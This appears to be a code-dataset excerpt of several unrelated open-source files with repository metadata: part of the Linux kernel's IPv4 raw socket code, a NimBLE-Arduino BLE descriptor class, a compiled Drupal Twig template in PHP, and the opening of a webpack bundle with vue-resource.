goto done;
}
security_sk_classify_flow(sk, &fl);
err = ip_route_output_flow(&rt, &fl, sk, 1);
}
if (err)
goto done;
err = -EACCES;
if (rt->rt_flags & RTCF_BROADCAST && !sock_flag(sk, SOCK_BROADCAST))
goto done;
if (msg->msg_flags & MSG_CONFIRM)
goto do_confirm;
back_from_confirm:
if (inet->hdrincl)
err = raw_send_hdrinc(sk, msg->msg_iov, len,
rt, msg->msg_flags);
else {
if (!ipc.addr)
ipc.addr = rt->rt_dst;
lock_sock(sk);
err = ip_append_data(sk, ip_generic_getfrag, msg->msg_iov, len, 0,
&ipc, rt, msg->msg_flags);
if (err)
ip_flush_pending_frames(sk);
else if (!(msg->msg_flags & MSG_MORE))
err = ip_push_pending_frames(sk);
release_sock(sk);
}
done:
if (free)
kfree(ipc.opt);
ip_rt_put(rt);
out:
if (err < 0)
return err;
return len;
do_confirm:
dst_confirm(&rt->u.dst);
if (!(msg->msg_flags & MSG_PROBE) || len)
goto back_from_confirm;
err = 0;
goto done;
}
static void raw_close(struct sock *sk, long timeout)
{
/*
* Raw sockets may have direct kernel refereneces. Kill them.
*/
ip_ra_control(sk, 0, NULL);
sk_common_release(sk);
}
/* This gets rid of all the nasties in af_inet. -DaveM */
static int raw_bind(struct sock *sk, struct sockaddr *uaddr, int addr_len)
{
struct inet_sock *inet = inet_sk(sk);
struct sockaddr_in *addr = (struct sockaddr_in *) uaddr;
int ret = -EINVAL;
int chk_addr_ret;
if (sk->sk_state != TCP_CLOSE || addr_len < sizeof(struct sockaddr_in))
goto out;
chk_addr_ret = inet_addr_type(addr->sin_addr.s_addr);
ret = -EADDRNOTAVAIL;
if (addr->sin_addr.s_addr && chk_addr_ret != RTN_LOCAL &&
chk_addr_ret != RTN_MULTICAST && chk_addr_ret != RTN_BROADCAST)
goto out;
inet->rcv_saddr = inet->saddr = addr->sin_addr.s_addr;
if (chk_addr_ret == RTN_MULTICAST || chk_addr_ret == RTN_BROADCAST)
inet->saddr = 0; /* Use device */
sk_dst_reset(sk);
ret = 0;
out: return ret;
}
/*
* This should be easy, if there is something there
* we return it, otherwise we block.
*/
static int raw_recvmsg(struct kiocb *iocb, struct sock *sk, struct msghdr *msg,
size_t len, int noblock, int flags, int *addr_len)
{
struct inet_sock *inet = inet_sk(sk);
size_t copied = 0;
int err = -EOPNOTSUPP;
struct sockaddr_in *sin = (struct sockaddr_in *)msg->msg_name;
struct sk_buff *skb;
if (flags & MSG_OOB)
goto out;
if (addr_len)
*addr_len = sizeof(*sin);
if (flags & MSG_ERRQUEUE) {
err = ip_recv_error(sk, msg, len);
goto out;
}
skb = skb_recv_datagram(sk, flags, noblock, &err);
if (!skb)
goto out;
copied = skb->len;
if (len < copied) {
msg->msg_flags |= MSG_TRUNC;
copied = len;
}
err = skb_copy_datagram_iovec(skb, 0, msg->msg_iov, copied);
if (err)
goto done;
sock_recv_timestamp(msg, sk, skb);
/* Copy the address. */
if (sin) {
sin->sin_family = AF_INET;
sin->sin_addr.s_addr = ip_hdr(skb)->saddr;
sin->sin_port = 0;
memset(&sin->sin_zero, 0, sizeof(sin->sin_zero));
}
if (inet->cmsg_flags)
ip_cmsg_recv(msg, skb);
if (flags & MSG_TRUNC)
copied = skb->len;
done:
skb_free_datagram(sk, skb);
out:
if (err)
return err;
return copied;
}
static int raw_init(struct sock *sk)
{
struct raw_sock *rp = raw_sk(sk);
if (inet_sk(sk)->num == IPPROTO_ICMP)
memset(&rp->filter, 0, sizeof(rp->filter));
return 0;
}
static int raw_seticmpfilter(struct sock *sk, char __user *optval, int optlen)
{
if (optlen > sizeof(struct icmp_filter))
optlen = sizeof(struct icmp_filter);
if (copy_from_user(&raw_sk(sk)->filter, optval, optlen))
return -EFAULT;
return 0;
}
static int raw_geticmpfilter(struct sock *sk, char __user *optval, int __user *optlen)
{
int len, ret = -EFAULT;
if (get_user(len, optlen))
goto out;
ret = -EINVAL;
if (len < 0)
goto out;
if (len > sizeof(struct icmp_filter))
len = sizeof(struct icmp_filter);
ret = -EFAULT;
if (put_user(len, optlen) ||
copy_to_user(optval, &raw_sk(sk)->filter, len))
goto out;
ret = 0;
out: return ret;
}
static int do_raw_setsockopt(struct sock *sk, int level, int optname,
char __user *optval, int optlen)
{
if (optname == ICMP_FILTER) {
if (inet_sk(sk)->num != IPPROTO_ICMP)
return -EOPNOTSUPP;
else
return raw_seticmpfilter(sk, optval, optlen);
}
return -ENOPROTOOPT;
}
static int raw_setsockopt(struct sock *sk, int level, int optname,
char __user *optval, int optlen)
{
if (level != SOL_RAW)
return ip_setsockopt(sk, level, optname, optval, optlen);
return do_raw_setsockopt(sk, level, optname, optval, optlen);
}
#ifdef CONFIG_COMPAT
static int compat_raw_setsockopt(struct sock *sk, int level, int optname,
char __user *optval, int optlen)
{
if (level != SOL_RAW)
return compat_ip_setsockopt(sk, level, optname, optval, optlen);
return do_raw_setsockopt(sk, level, optname, optval, optlen);
}
#endif
static int do_raw_getsockopt(struct sock *sk, int level, int optname,
char __user *optval, int __user *optlen)
{
if (optname == ICMP_FILTER) {
if (inet_sk(sk)->num != IPPROTO_ICMP)
return -EOPNOTSUPP;
else
return raw_geticmpfilter(sk, optval, optlen);
}
return -ENOPROTOOPT;
}
static int raw_getsockopt(struct sock *sk, int level, int optname,
char __user *optval, int __user *optlen)
{
if (level != SOL_RAW)
return ip_getsockopt(sk, level, optname, optval, optlen);
return do_raw_getsockopt(sk, level, optname, optval, optlen);
}
#ifdef CONFIG_COMPAT
static int compat_raw_getsockopt(struct sock *sk, int level, int optname,
char __user *optval, int __user *optlen)
{
if (level != SOL_RAW)
return compat_ip_getsockopt(sk, level, optname, optval, optlen);
return do_raw_getsockopt(sk, level, optname, optval, optlen);
}
#endif
static int raw_ioctl(struct sock *sk, int cmd, unsigned long arg)
{
switch (cmd) {
case SIOCOUTQ: {
int amount = atomic_read(&sk->sk_wmem_alloc);
return put_user(amount, (int __user *)arg);
}
case SIOCINQ: {
struct sk_buff *skb;
int amount = 0;
spin_lock_bh(&sk->sk_receive_queue.lock);
skb = skb_peek(&sk->sk_receive_queue);
if (skb != NULL)
amount = skb->len;
spin_unlock_bh(&sk->sk_receive_queue.lock);
return put_user(amount, (int __user *)arg);
}
default:
#ifdef CONFIG_IP_MROUTE
return ipmr_ioctl(sk, cmd, (void __user *)arg);
#else
return -ENOIOCTLCMD;
#endif
}
}
DEFINE_PROTO_INUSE(raw)
struct proto raw_prot = {
.name = "RAW",
.owner = THIS_MODULE,
.close = raw_close,
.connect = ip4_datagram_connect,
.disconnect = udp_disconnect,
.ioctl = raw_ioctl,
.init = raw_init,
.setsockopt = raw_setsockopt,
.getsockopt = raw_getsockopt,
.sendmsg = raw_sendmsg,
.recvmsg = raw_recvmsg,
.bind = raw_bind,
.backlog_rcv = raw_rcv_skb,
.hash = raw_v4_hash,
.unhash = raw_v4_unhash,
.obj_size = sizeof(struct raw_sock),
#ifdef CONFIG_COMPAT
.compat_setsockopt = compat_raw_setsockopt,
.compat_getsockopt = compat_raw_getsockopt,
#endif
REF_PROTO_INUSE(raw)
};
#ifdef CONFIG_PROC_FS
struct raw_iter_state {
int bucket;
};
#define raw_seq_private(seq) ((struct raw_iter_state *)(seq)->private)
static struct sock *raw_get_first(struct seq_file *seq)
{
struct sock *sk;
struct raw_iter_state* state = raw_seq_private(seq);
for (state->bucket = 0; state->bucket < RAWV4_HTABLE_SIZE; ++state->bucket) {
struct hlist_node *node;
sk_for_each(sk, node, &raw_v4_htable[state->bucket])
if (sk->sk_family == PF_INET)
goto found;
}
sk = NULL;
found:
return sk;
}
static struct sock *raw_get_next(struct seq_file *seq, struct sock *sk)
{
struct raw_iter_state* state = raw_seq_private(seq);
do {
sk = sk_next(sk);
try_again:
;
} while (sk && sk->sk_family != PF_INET);
if (!sk && ++state->bucket < RAWV4_HTABLE_SIZE) {
sk = sk_head(&raw_v4_htable[state->bucket]);
goto try_again;
}
return sk;
}
static struct sock *raw_get_idx(struct seq_file *seq, loff_t pos)
{
struct sock *sk = raw_get_first(seq);
if (sk)
while (pos && (sk = raw_get_next(seq, sk)) != NULL)
--pos;
return pos ? NULL : sk;
}
static void *raw_seq_start(struct seq_file *seq, loff_t *pos)
{
read_lock(&raw_v4_lock);
return *pos ? raw_get_idx(seq, *pos - 1) : SEQ_START_TOKEN;
}
static void *raw_seq_next(struct seq_file *seq, void *v, loff_t *pos)
{
struct sock *sk;
if (v == SEQ_START_TOKEN)
sk = raw_get_first(seq);
else
sk = raw_get_next(seq, v);
++*pos;
return sk;
}
static void raw_seq_stop(struct seq_file *seq, void *v)
{
read_unlock(&raw_v4_lock);
}
static __inline__ char *get_raw_sock(struct sock *sp, char *tmpbuf, int i)
{
struct inet_sock *inet = inet_sk(sp);
__be32 dest = inet->daddr,
src = inet->rcv_saddr;
__u16 destp = 0,
srcp = inet->num;
sprintf(tmpbuf, "%4d: %08X:%04X %08X:%04X"
" %02X %08X:%08X %02X:%08lX %08X %5d %8d %lu %d %p",
i, src, srcp, dest, destp, sp->sk_state,
atomic_read(&sp->sk_wmem_alloc),
atomic_read(&sp->sk_rmem_alloc),
0, 0L, 0, sock_i_uid(sp), 0, sock_i_ino(sp),
atomic_read(&sp->sk_refcnt), sp);
return tmpbuf;
}
static int raw_seq_show(struct seq_file *seq, void *v)
{
char tmpbuf[129];
if (v == SEQ_START_TOKEN)
seq_printf(seq, "%-127s\n",
" sl local_address rem_address st tx_queue "
"rx_queue tr tm->when retrnsmt uid timeout "
"inode");
else {
struct raw_iter_state *state = raw_seq_private(seq);
seq_printf(seq, "%-127s\n",
get_raw_sock(v, tmpbuf, state->bucket));
}
return 0;
}
static const struct seq_operations raw_seq_ops = {
.start = raw_seq_start,
.next = raw_seq_next,
.stop = raw_seq_stop,
.show = raw_seq_show,
};
static int raw_seq_open(struct inode *inode, struct file *file)
{
return seq_open_private(file, &raw_seq_ops,
sizeof(struct raw_iter_state));
}
static const struct file_operations raw_seq_fops = {
.owner = THIS_MODULE,
.open = raw_seq_open,
.read = seq_read,
.llseek = seq_lseek,
.release = seq_release_private,
};
int __init raw_proc_init(void)
{
if (!proc_net_fops_create(&init_net, "raw", S_IRUGO, &raw_seq_fops))
return -ENOMEM;
return 0;
}
void __init raw_proc_exit(void)
{
proc_net_remove(&init_net, "raw");
}
#endif /* CONFIG_PROC_FS */
|
fgoncalves/Modified-TS7500-Kernel
|
net/ipv4/raw.c
|
C
|
gpl-2.0
| 21,670
|
/*
* NimBLERemoteDescriptor.cpp
*
* Created: on Jan 27 2020
* Author H2zero
*
* Originally:
*
* BLERemoteDescriptor.cpp
*
* Created on: Jul 8, 2017
* Author: kolban
*/
#include "sdkconfig.h"
#if defined(CONFIG_BT_ENABLED)
#include "nimconfig.h"
#if defined( CONFIG_BT_NIMBLE_ROLE_CENTRAL)
#include "NimBLERemoteDescriptor.h"
#include "NimBLEUtils.h"
#include "NimBLELog.h"
static const char* LOG_TAG = "NimBLERemoteDescriptor";
/**
* @brief Remote descriptor constructor.
* @param [in] pRemoteCharacteristic A pointer to the Characteristic that this belongs to.
* @param [in] dsc A pointer to the struct that contains the descriptor information.
*/
NimBLERemoteDescriptor::NimBLERemoteDescriptor(NimBLERemoteCharacteristic* pRemoteCharacteristic,
const struct ble_gatt_dsc *dsc)
{
NIMBLE_LOGD(LOG_TAG, ">> NimBLERemoteDescriptor()");
switch (dsc->uuid.u.type) {
case BLE_UUID_TYPE_16:
m_uuid = NimBLEUUID(dsc->uuid.u16.value);
break;
case BLE_UUID_TYPE_32:
m_uuid = NimBLEUUID(dsc->uuid.u32.value);
break;
case BLE_UUID_TYPE_128:
m_uuid = NimBLEUUID(const_cast<ble_uuid128_t*>(&dsc->uuid.u128));
break;
default:
break;
}
m_handle = dsc->handle;
m_pRemoteCharacteristic = pRemoteCharacteristic;
NIMBLE_LOGD(LOG_TAG, "<< NimBLERemoteDescriptor(): %s", m_uuid.toString().c_str());
}
/**
* @brief Retrieve the handle associated with this remote descriptor.
* @return The handle associated with this remote descriptor.
*/
uint16_t NimBLERemoteDescriptor::getHandle() {
return m_handle;
} // getHandle
/**
* @brief Get the characteristic that owns this descriptor.
* @return The characteristic that owns this descriptor.
*/
NimBLERemoteCharacteristic* NimBLERemoteDescriptor::getRemoteCharacteristic() {
return m_pRemoteCharacteristic;
} // getRemoteCharacteristic
/**
* @brief Retrieve the UUID associated this remote descriptor.
* @return The UUID associated this remote descriptor.
*/
NimBLEUUID NimBLERemoteDescriptor::getUUID() {
return m_uuid;
} // getUUID
/**
* @brief Read a byte value
* @return The value as a byte
* @deprecated Use readValue<uint8_t>().
*/
uint8_t NimBLERemoteDescriptor::readUInt8() {
std::string value = readValue();
if (value.length() >= 1) {
return (uint8_t) value[0];
}
return 0;
} // readUInt8
/**
* @brief Read an unsigned 16 bit value
* @return The unsigned 16 bit value.
* @deprecated Use readValue<uint16_t>().
*/
uint16_t NimBLERemoteDescriptor::readUInt16() {
std::string value = readValue();
if (value.length() >= 2) {
return *(uint16_t*) value.data();
}
return 0;
} // readUInt16
/**
* @brief Read an unsigned 32 bit value.
* @return the unsigned 32 bit value.
* @deprecated Use readValue<uint32_t>().
*/
uint32_t NimBLERemoteDescriptor::readUInt32() {
std::string value = readValue();
if (value.length() >= 4) {
return *(uint32_t*) value.data();
}
return 0;
} // readUInt32
/**
* @brief Read the value of the remote descriptor.
* @return The value of the remote descriptor.
*/
std::string NimBLERemoteDescriptor::readValue() {
NIMBLE_LOGD(LOG_TAG, ">> Descriptor readValue: %s", toString().c_str());
NimBLEClient* pClient = getRemoteCharacteristic()->getRemoteService()->getClient();
std::string value;
if (!pClient->isConnected()) {
NIMBLE_LOGE(LOG_TAG, "Disconnected");
return value;
}
int rc = 0;
int retryCount = 1;
ble_task_data_t taskData = {this, xTaskGetCurrentTaskHandle(),0, &value};
do {
rc = ble_gattc_read_long(pClient->getConnId(), m_handle, 0,
NimBLERemoteDescriptor::onReadCB,
&taskData);
if (rc != 0) {
NIMBLE_LOGE(LOG_TAG, "Error: Failed to read descriptor; rc=%d, %s",
rc, NimBLEUtils::returnCodeToString(rc));
return value;
}
ulTaskNotifyTake(pdTRUE, portMAX_DELAY);
rc = taskData.rc;
switch(rc){
case 0:
case BLE_HS_EDONE:
rc = 0;
break;
// Descriptor is not long-readable, return with what we have.
case BLE_HS_ATT_ERR(BLE_ATT_ERR_ATTR_NOT_LONG):
NIMBLE_LOGI(LOG_TAG, "Attribute not long");
rc = 0;
break;
case BLE_HS_ATT_ERR(BLE_ATT_ERR_INSUFFICIENT_AUTHEN):
case BLE_HS_ATT_ERR(BLE_ATT_ERR_INSUFFICIENT_AUTHOR):
case BLE_HS_ATT_ERR(BLE_ATT_ERR_INSUFFICIENT_ENC):
if (retryCount && pClient->secureConnection())
break;
/* Else falls through. */
default:
return value;
}
} while(rc != 0 && retryCount--);
NIMBLE_LOGD(LOG_TAG, "<< Descriptor readValue(): length: %d rc=%d", value.length(), rc);
return value;
} // readValue
/**
* @brief Callback for Descriptor read operation.
* @return success == 0 or error code.
*/
int NimBLERemoteDescriptor::onReadCB(uint16_t conn_handle,
const struct ble_gatt_error *error,
struct ble_gatt_attr *attr, void *arg)
{
ble_task_data_t *pTaskData = (ble_task_data_t*)arg;
NimBLERemoteDescriptor* desc = (NimBLERemoteDescriptor*)pTaskData->pATT;
uint16_t conn_id = desc->getRemoteCharacteristic()->getRemoteService()->getClient()->getConnId();
if(conn_id != conn_handle){
return 0;
}
NIMBLE_LOGD(LOG_TAG, "Read complete; status=%d conn_handle=%d", error->status, conn_handle);
std::string *strBuf = (std::string*)pTaskData->buf;
int rc = error->status;
if(rc == 0) {
if(attr) {
if(((*strBuf).length() + attr->om->om_len) > BLE_ATT_ATTR_MAX_LEN) {
rc = BLE_ATT_ERR_INVALID_ATTR_VALUE_LEN;
} else {
NIMBLE_LOGD(LOG_TAG, "Got %d bytes", attr->om->om_len);
(*strBuf) += std::string((char*) attr->om->om_data, attr->om->om_len);
return 0;
}
}
}
pTaskData->rc = rc;
xTaskNotifyGive(pTaskData->task);
return rc;
}
/**
* @brief Return a string representation of this Remote Descriptor.
* @return A string representation of this Remote Descriptor.
*/
std::string NimBLERemoteDescriptor::toString() {
std::string res = "Descriptor: uuid: " + getUUID().toString();
char val[6];
res += ", handle: ";
snprintf(val, sizeof(val), "%d", getHandle());
res += val;
return res;
} // toString
/**
* @brief Callback for descriptor write operation.
* @return success == 0 or error code.
*/
int NimBLERemoteDescriptor::onWriteCB(uint16_t conn_handle,
const struct ble_gatt_error *error,
struct ble_gatt_attr *attr, void *arg)
{
ble_task_data_t *pTaskData = (ble_task_data_t*)arg;
NimBLERemoteDescriptor* descriptor = (NimBLERemoteDescriptor*)pTaskData->pATT;
if(descriptor->getRemoteCharacteristic()->getRemoteService()->getClient()->getConnId() != conn_handle){
return 0;
}
NIMBLE_LOGI(LOG_TAG, "Write complete; status=%d conn_handle=%d", error->status, conn_handle);
pTaskData->rc = error->status;
xTaskNotifyGive(pTaskData->task);
return 0;
}
/**
* @brief Write data to the BLE Remote Descriptor.
* @param [in] data The data to send to the remote descriptor.
* @param [in] length The length of the data to send.
* @param [in] response True if we expect a write response.
* @return True if successful
*/
bool NimBLERemoteDescriptor::writeValue(const uint8_t* data, size_t length, bool response) {
NIMBLE_LOGD(LOG_TAG, ">> Descriptor writeValue: %s", toString().c_str());
NimBLEClient* pClient = getRemoteCharacteristic()->getRemoteService()->getClient();
// Check to see that we are connected.
if (!pClient->isConnected()) {
NIMBLE_LOGE(LOG_TAG, "Disconnected");
return false;
}
int rc = 0;
int retryCount = 1;
uint16_t mtu = ble_att_mtu(pClient->getConnId()) - 3;
// Check if the data length is longer than we can write in 1 connection event.
// If so we must do a long write which requires a response.
if(length <= mtu && !response) {
rc = ble_gattc_write_no_rsp_flat(pClient->getConnId(), m_handle, data, length);
return (rc == 0);
}
ble_task_data_t taskData = {this, xTaskGetCurrentTaskHandle(), 0, nullptr};
do {
if(length > mtu) {
NIMBLE_LOGI(LOG_TAG,"long write %d bytes", length);
os_mbuf *om = ble_hs_mbuf_from_flat(data, length);
rc = ble_gattc_write_long(pClient->getConnId(), m_handle, 0, om,
NimBLERemoteDescriptor::onWriteCB,
&taskData);
} else {
rc = ble_gattc_write_flat(pClient->getConnId(), m_handle,
data, length,
NimBLERemoteDescriptor::onWriteCB,
&taskData);
}
if (rc != 0) {
NIMBLE_LOGE(LOG_TAG, "Error: Failed to write descriptor; rc=%d", rc);
return false;
}
ulTaskNotifyTake(pdTRUE, portMAX_DELAY);
rc = taskData.rc;
switch(rc) {
case 0:
case BLE_HS_EDONE:
rc = 0;
break;
case BLE_HS_ATT_ERR(BLE_ATT_ERR_ATTR_NOT_LONG):
NIMBLE_LOGE(LOG_TAG, "Long write not supported by peer; Truncating length to %d", mtu);
retryCount++;
length = mtu;
break;
case BLE_HS_ATT_ERR(BLE_ATT_ERR_INSUFFICIENT_AUTHEN):
case BLE_HS_ATT_ERR(BLE_ATT_ERR_INSUFFICIENT_AUTHOR):
case BLE_HS_ATT_ERR(BLE_ATT_ERR_INSUFFICIENT_ENC):
if (retryCount && pClient->secureConnection())
break;
/* Else falls through. */
default:
return false;
}
} while(rc != 0 && retryCount--);
NIMBLE_LOGD(LOG_TAG, "<< Descriptor writeValue, rc: %d",rc);
return (rc == 0);
} // writeValue
/**
* @brief Write data represented as a string to the BLE Remote Descriptor.
* @param [in] newValue The data to send to the remote descriptor.
* @param [in] response True if we expect a response.
* @return True if successful
*/
bool NimBLERemoteDescriptor::writeValue(const std::string &newValue, bool response) {
return writeValue((uint8_t*) newValue.data(), newValue.length(), response);
} // writeValue
#endif // #if defined( CONFIG_BT_NIMBLE_ROLE_CENTRAL)
#endif /* CONFIG_BT_ENABLED */
|
ramalhais/code
|
arduino/libraries/NimBLE-Arduino/src/NimBLERemoteDescriptor.cpp
|
C++
|
gpl-2.0
| 10,911
|
<?php
/* core/themes/stable/templates/admin/admin-block.html.twig */
class __TwigTemplate_73d94355d598b4dfa4b4ca02e16e4343556a0d714799515056c444f65791e3fc extends Twig_Template
{
public function __construct(Twig_Environment $env)
{
parent::__construct($env);
$this->parent = false;
$this->blocks = array(
);
}
protected function doDisplay(array $context, array $blocks = array())
{
$tags = array("if" => 16);
$filters = array();
$functions = array();
try {
$this->env->getExtension('sandbox')->checkSecurity(
array('if'),
array(),
array()
);
} catch (Twig_Sandbox_SecurityError $e) {
$e->setTemplateFile($this->getTemplateName());
if ($e instanceof Twig_Sandbox_SecurityNotAllowedTagError && isset($tags[$e->getTagName()])) {
$e->setTemplateLine($tags[$e->getTagName()]);
} elseif ($e instanceof Twig_Sandbox_SecurityNotAllowedFilterError && isset($filters[$e->getFilterName()])) {
$e->setTemplateLine($filters[$e->getFilterName()]);
} elseif ($e instanceof Twig_Sandbox_SecurityNotAllowedFunctionError && isset($functions[$e->getFunctionName()])) {
$e->setTemplateLine($functions[$e->getFunctionName()]);
}
throw $e;
}
// line 15
echo "<div class=\"panel\">
";
// line 16
if ($this->getAttribute((isset($context["block"]) ? $context["block"] : null), "title", array())) {
// line 17
echo " <h3 class=\"panel__title\">";
echo $this->env->getExtension('sandbox')->ensureToStringAllowed($this->env->getExtension('drupal_core')->escapeFilter($this->env, $this->getAttribute((isset($context["block"]) ? $context["block"] : null), "title", array()), "html", null, true));
echo "</h3>
";
}
// line 19
echo " ";
if ($this->getAttribute((isset($context["block"]) ? $context["block"] : null), "content", array())) {
// line 20
echo " <div class=\"panel__content\">";
echo $this->env->getExtension('sandbox')->ensureToStringAllowed($this->env->getExtension('drupal_core')->escapeFilter($this->env, $this->getAttribute((isset($context["block"]) ? $context["block"] : null), "content", array()), "html", null, true));
echo "</div>
";
} elseif ($this->getAttribute( // line 21
(isset($context["block"]) ? $context["block"] : null), "description", array())) {
// line 22
echo " <div class=\"panel__description\">";
echo $this->env->getExtension('sandbox')->ensureToStringAllowed($this->env->getExtension('drupal_core')->escapeFilter($this->env, $this->getAttribute((isset($context["block"]) ? $context["block"] : null), "description", array()), "html", null, true));
echo "</div>
";
}
// line 24
echo "</div>
";
}
public function getTemplateName()
{
return "core/themes/stable/templates/admin/admin-block.html.twig";
}
public function isTraitable()
{
return false;
}
public function getDebugInfo()
{
return array ( 70 => 24, 64 => 22, 62 => 21, 57 => 20, 54 => 19, 48 => 17, 46 => 16, 43 => 15,);
}
}
/* {#*/
/* /***/
/* * @file*/
/* * Theme override for an administrative block.*/
/* **/
/* * Available variables:*/
/* * - block: An array of information about the block, including:*/
/* * - show: A flag indicating if the block should be displayed.*/
/* * - title: The block title.*/
/* * - content: (optional) The content of the block.*/
/* * - description: (optional) A description of the block.*/
/* * (Description should only be output if content is not available).*/
/* *//* */
/* #}*/
/* <div class="panel">*/
/* {% if block.title %}*/
/* <h3 class="panel__title">{{ block.title }}</h3>*/
/* {% endif %}*/
/* {% if block.content %}*/
/* <div class="panel__content">{{ block.content }}</div>*/
/* {% elseif block.description %}*/
/* <div class="panel__description">{{ block.description }}</div>*/
/* {% endif %}*/
/* </div>*/
/* */
|
neetumorwani/dcon
|
sites/default/files/php/twig/e7e9cf99_admin-block.html.twig_b440e57db9efed76852fc563c6827050f943bfd78965a8b1ecb3a02c71db4383/d60b7a51460832b200c45935652984dcb99b21f7bda17e389af5047f446ab118.php
|
PHP
|
gpl-2.0
| 4,309
|
/******/ (function(modules) { // webpackBootstrap
/******/ // The module cache
/******/ var installedModules = {};
/******/
/******/ // The require function
/******/ function __webpack_require__(moduleId) {
/******/
/******/ // Check if module is in cache
/******/ if(installedModules[moduleId]) {
/******/ return installedModules[moduleId].exports;
/******/ }
/******/ // Create a new module (and put it into the cache)
/******/ var module = installedModules[moduleId] = {
/******/ i: moduleId,
/******/ l: false,
/******/ exports: {}
/******/ };
/******/
/******/ // Execute the module function
/******/ modules[moduleId].call(module.exports, module, module.exports, __webpack_require__);
/******/
/******/ // Flag the module as loaded
/******/ module.l = true;
/******/
/******/ // Return the exports of the module
/******/ return module.exports;
/******/ }
/******/
/******/
/******/ // expose the modules object (__webpack_modules__)
/******/ __webpack_require__.m = modules;
/******/
/******/ // expose the module cache
/******/ __webpack_require__.c = installedModules;
/******/
/******/ // identity function for calling harmony imports with the correct context
/******/ __webpack_require__.i = function(value) { return value; };
/******/
/******/ // define getter function for harmony exports
/******/ __webpack_require__.d = function(exports, name, getter) {
/******/ if(!__webpack_require__.o(exports, name)) {
/******/ Object.defineProperty(exports, name, {
/******/ configurable: false,
/******/ enumerable: true,
/******/ get: getter
/******/ });
/******/ }
/******/ };
/******/
/******/ // getDefaultExport function for compatibility with non-harmony modules
/******/ __webpack_require__.n = function(module) {
/******/ var getter = module && module.__esModule ?
/******/ function getDefault() { return module['default']; } :
/******/ function getModuleExports() { return module; };
/******/ __webpack_require__.d(getter, 'a', getter);
/******/ return getter;
/******/ };
/******/
/******/ // Object.prototype.hasOwnProperty.call
/******/ __webpack_require__.o = function(object, property) { return Object.prototype.hasOwnProperty.call(object, property); };
/******/
/******/ // __webpack_public_path__
/******/ __webpack_require__.p = "";
/******/
/******/ // Load entry module and return exports
/******/ return __webpack_require__(__webpack_require__.s = 4);
/******/ })
/************************************************************************/
/******/ ([
/* 0 */
/***/ (function(module, exports) {
// shim for using process in browser
var process = module.exports = {};
// cached from whatever global is present so that test runners that stub it
// don't break things. But we need to wrap it in a try catch in case it is
// wrapped in strict mode code which doesn't define any globals. It's inside a
// function because try/catches deoptimize in certain engines.
var cachedSetTimeout;
var cachedClearTimeout;
function defaultSetTimout() {
throw new Error('setTimeout has not been defined');
}
function defaultClearTimeout () {
throw new Error('clearTimeout has not been defined');
}
(function () {
try {
if (typeof setTimeout === 'function') {
cachedSetTimeout = setTimeout;
} else {
cachedSetTimeout = defaultSetTimout;
}
} catch (e) {
cachedSetTimeout = defaultSetTimout;
}
try {
if (typeof clearTimeout === 'function') {
cachedClearTimeout = clearTimeout;
} else {
cachedClearTimeout = defaultClearTimeout;
}
} catch (e) {
cachedClearTimeout = defaultClearTimeout;
}
} ())
function runTimeout(fun) {
if (cachedSetTimeout === setTimeout) {
//normal enviroments in sane situations
return setTimeout(fun, 0);
}
// if setTimeout wasn't available but was latter defined
if ((cachedSetTimeout === defaultSetTimout || !cachedSetTimeout) && setTimeout) {
cachedSetTimeout = setTimeout;
return setTimeout(fun, 0);
}
try {
// when when somebody has screwed with setTimeout but no I.E. maddness
return cachedSetTimeout(fun, 0);
} catch(e){
try {
// When we are in I.E. but the script has been evaled so I.E. doesn't trust the global object when called normally
return cachedSetTimeout.call(null, fun, 0);
} catch(e){
// same as above but when it's a version of I.E. that must have the global object for 'this', hopfully our context correct otherwise it will throw a global error
return cachedSetTimeout.call(this, fun, 0);
}
}
}
function runClearTimeout(marker) {
if (cachedClearTimeout === clearTimeout) {
//normal enviroments in sane situations
return clearTimeout(marker);
}
// if clearTimeout wasn't available but was latter defined
if ((cachedClearTimeout === defaultClearTimeout || !cachedClearTimeout) && clearTimeout) {
cachedClearTimeout = clearTimeout;
return clearTimeout(marker);
}
try {
// when when somebody has screwed with setTimeout but no I.E. maddness
return cachedClearTimeout(marker);
} catch (e){
try {
// When we are in I.E. but the script has been evaled so I.E. doesn't trust the global object when called normally
return cachedClearTimeout.call(null, marker);
} catch (e){
// same as above but when it's a version of I.E. that must have the global object for 'this', hopfully our context correct otherwise it will throw a global error.
// Some versions of I.E. have different rules for clearTimeout vs setTimeout
return cachedClearTimeout.call(this, marker);
}
}
}
var queue = [];
var draining = false;
var currentQueue;
var queueIndex = -1;
function cleanUpNextTick() {
if (!draining || !currentQueue) {
return;
}
draining = false;
if (currentQueue.length) {
queue = currentQueue.concat(queue);
} else {
queueIndex = -1;
}
if (queue.length) {
drainQueue();
}
}
function drainQueue() {
if (draining) {
return;
}
var timeout = runTimeout(cleanUpNextTick);
draining = true;
var len = queue.length;
while(len) {
currentQueue = queue;
queue = [];
while (++queueIndex < len) {
if (currentQueue) {
currentQueue[queueIndex].run();
}
}
queueIndex = -1;
len = queue.length;
}
currentQueue = null;
draining = false;
runClearTimeout(timeout);
}
process.nextTick = function (fun) {
var args = new Array(arguments.length - 1);
if (arguments.length > 1) {
for (var i = 1; i < arguments.length; i++) {
args[i - 1] = arguments[i];
}
}
queue.push(new Item(fun, args));
if (queue.length === 1 && !draining) {
runTimeout(drainQueue);
}
};
// v8 likes predictible objects
function Item(fun, array) {
this.fun = fun;
this.array = array;
}
Item.prototype.run = function () {
this.fun.apply(null, this.array);
};
process.title = 'browser';
process.browser = true;
process.env = {};
process.argv = [];
process.version = ''; // empty string to avoid regexp issues
process.versions = {};
function noop() {}
process.on = noop;
process.addListener = noop;
process.once = noop;
process.off = noop;
process.removeListener = noop;
process.removeAllListeners = noop;
process.emit = noop;
process.prependListener = noop;
process.prependOnceListener = noop;
process.listeners = function (name) { return [] }
process.binding = function (name) {
throw new Error('process.binding is not supported');
};
process.cwd = function () { return '/' };
process.chdir = function (dir) {
throw new Error('process.chdir is not supported');
};
process.umask = function() { return 0; };
/***/ }),
/* 1 */
/***/ (function(module, __webpack_exports__, __webpack_require__) {
"use strict";
Object.defineProperty(__webpack_exports__, "__esModule", { value: true });
/* harmony export (binding) */ __webpack_require__.d(__webpack_exports__, "Url", function() { return Url; });
/* harmony export (binding) */ __webpack_require__.d(__webpack_exports__, "Http", function() { return Http; });
/* harmony export (binding) */ __webpack_require__.d(__webpack_exports__, "Resource", function() { return Resource; });
/*!
* vue-resource v1.3.4
* https://github.com/pagekit/vue-resource
* Released under the MIT License.
*/
/**
* Promises/A+ polyfill v1.1.4 (https://github.com/bramstein/promis)
*/
var RESOLVED = 0;
var REJECTED = 1;
var PENDING = 2;
function Promise$1(executor) {
